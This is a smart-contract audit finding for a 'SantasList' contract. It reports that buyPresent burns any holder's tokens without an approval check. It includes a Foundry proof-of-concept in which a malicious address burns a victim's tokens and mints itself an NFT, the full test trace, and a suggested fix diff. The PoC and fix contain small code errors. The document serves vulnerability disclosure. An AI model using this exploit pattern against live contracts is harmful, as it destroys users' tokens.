Summary
Users token can be burned by malicious user to buy present.
Vulnerability Details
Santalist::buyPresent function has no access control to determine if the user calling the function has the right owner to the token to burn from because the function did not check if the rightful owner of the token before minting NFT which will give a malicious user the opportunity to buy present with EXTRANICE users' token
Impact
ExtraNice users will lose all the extra erc20 token given to them for being extraNice
Tools Used
foundry, manual review
#POC
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
address maliciousUser = makeAddr("maliciousUser")
//assert malicious user has no present
assertEq(santasList.balanceOf(maliciousUser), 0);
vm.prank(maliciousUser);
santasList.buyPresent(user);
//assert malicious user now has present
assertEq(santasList.balanceOf(maliciousUser), 1);
}
Add the above function to santalist.t.sol and run with forge test --mt testMaliciousUserCollectTokenExtraNice -vvvvv
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [120077] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0)
│ ├─ [46713] SantaToken::mint(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─
[0] VM::
addr(<pk>)
[staticcall] │ └─ ← maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e]
├─ [0] VM::label(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e], maliciousUser)
│ └─ ← ()
├─ [2678] SantasList::balanceOf(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e]) [staticcall]
│ └─ ← 0
├─ [0] VM::prank(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e])
│ └─ ← ()
├─ [39319] SantasList::buyPresent(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ ├─ [2348] SantaToken::burn(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e], tokenId: 1)
│ └─ ← ()
├─ [678] SantasList::balanceOf(maliciousUser: [0x00aE22013C2eD3a7b7F91E4a2C70e44cDe3f5E5e]) [staticcall]
│ └─ ← 1
└─ ← ()
Recommendations
it was stated in the document that the token holder has to approve santalist before calling buy present function
it is advised that the team should make sure the logic entails in buyPresent function handles the smart contract as intended by the team and properly secure from being hacked
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ require(i_santaToken.transferfrom(msg.sender, address(this), 2e18));
+ i_santaToken.burn(address(this));
- _mintAndIncrement();
+ _safeMint(presentReceiver, s_tokenCounter++);
}
the above addition and subtraction will allow the buyPresent function to work as intended by the team, the price is changed to 2e18 to allow for the logic to work with the intended price from the document and make sure to increase the token id for the next user to have it's unique token id
